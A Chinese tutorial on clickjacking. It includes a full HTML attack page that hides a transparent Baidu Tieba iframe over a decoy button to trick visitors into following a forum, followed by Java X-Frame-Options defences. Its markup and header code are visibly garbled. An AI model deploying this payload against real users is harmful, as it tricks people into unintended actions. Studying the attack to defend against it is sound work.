问题:
点击劫持(ClickJacking)是一种视觉上的欺骗手段。大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义;
iframe覆盖
直接示例说明
1. 假如我们在百度有个贴吧,想偷偷让别人关注它。于是我们准备一个页面:
DOCTYPE HTML><html><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><head><title>点击劫持title><style> html,body,iframe{ display: block; height: 100%; 100%; margin: 0; padding: 0; border:none; } iframe{ opacity:0; filter:alpha(opacity=0); position:absolute; z-index:2; } button{ position:absolute; top: 315px; left: 462px; z-index: 1; 72px; height: 26px; }style>head> <body> 那些不能说的秘密 <button>查看详情button> <iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE">iframe> body>html>
PS:页面看起来就这样,当然真正攻击的页面会精致些,不像这么简陋。
2. 网址传播出去后,用户手贱点击了查看详情后,其实就会点到关注按钮。
PS:可以把iframe透明设为0.3看下实际点到的东西。
3. 这样贴吧就多了一个粉丝了。
原文链接:http://www.2cto.com/Article/201603/492656.html
解决方案:
Java 使用 X-Frame-Options 预防
方案1:DENY
此规则表示页面不能被嵌入页面,即使被嵌入的页面地址是同源的。如下是简单的代码片段:
HttpServletResponse response …;
response.addHeader(“X-Frame-OPTIONS”, “DENY”);
方案2:SAMEORIGIN
表示只允许嵌入同源的页面,代码如下:
HttpServletResponse response …;
response.addHeader(“X-Frame-OPTIONS”, “SAMEORIGIN”);
方案3:Allow-From
当前可以被嵌入指定域名的页面,例如:
HttpServletResponse response …;
Response.addHeader(“X-Frame-OPTIONS”, “Allow-Fromhttps://some.othersite.com”);